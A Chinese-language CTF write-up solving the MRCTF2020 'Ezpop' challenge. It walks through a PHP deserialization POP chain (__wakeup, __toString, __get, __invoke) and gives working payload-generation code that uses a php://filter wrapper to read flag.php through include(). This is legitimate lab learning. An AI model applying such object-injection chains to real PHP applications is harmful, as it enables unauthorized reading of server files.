1. 程式人生 > 其它 >BUUFTC-日刷-[MRCTF2020]Ezpop-tostring小知識點-反序列化屬性小坑

BUUFTC-日刷-[MRCTF2020]Ezpop-tostring小知識點-反序列化屬性小坑

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $
this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; }
public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); }
public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }

審計程式碼,很明顯發現我們要利用的點

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

想要呼叫這個檔案包含,就要呼叫到__invoke(),這個方法是類被當作函式呼叫的時候會觸發,繼續找

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

這裡__get方法會呼叫$p,讓p等於modifier即可,下面就是想辦法呼叫test的__get(),這個方法是呼叫這個類裡面不存在或者私有變數時會觸發

class Show{
    public $source;
    public $str;
。。。
    public function __toString(){
        return $this->str->source;
    }

 。。。
}

注意到show類中__tostring方法會返回str中source,我們讓str等於test類,source隨便指定即可。下面就是想辦法呼叫__tostring

我之前一直以為只有輸出字串才會呼叫__tostring方法,查了一下,只要被當作字串處理都會呼叫這個方法

class Show{
    public $source;
    public $str;

。。。

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

注意到show類中,__wakeup()方法,會對souce進行一次正則匹配,這裡就會把source當作字串處理,因此讓source等於show類即可

構造pop鏈:

<?php

class Modifier {
    protected  $var='flag.php';
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}


$s=new Show();
$s->str=new Test();
$s->str->p=new Modifier();
$ss=new Show();
$ss->source=$s;
print_r((serialize($ss)));

發現沒反應,觀察輸出的序列化鏈:

這裡s長度為6,但是隻有 *var 4個字元,查一下

protected在變數名前新增標記\00*\00,長度+3: s:5:"\00*\00op";i:2;

因此直接輸出結果複製不行的,先url編碼一下

<?php

class Modifier {
    protected  $var='flag.php';
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}


$s=new Show();
$s->str=new Test();
$s->str->p=new Modifier();
$ss=new Show();
$ss->source=$s;
print_r(urlencode(serialize($ss)));

發現

不能直接輸出原始碼,採用偽協議輸出即可

<?php

class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}


$s=new Show();
$s->str=new Test();
$s->str->p=new Modifier();
$ss=new Show();
$ss->source=$s;
print_r(urlencode(serialize($ss)));

獲得base原始碼,解碼即可

附上我踩的坑

public無標記,變數名不變,長度不變: s:2:"op";i:2;
protected在變數名前新增標記\00*\00,長度+3: s:5:"\00*\00op";i:2;
private在變數名前新增標記\00(classname)\00,長度+2+類名長度: s:17:"\00FileHandler_Z\00op";i:2;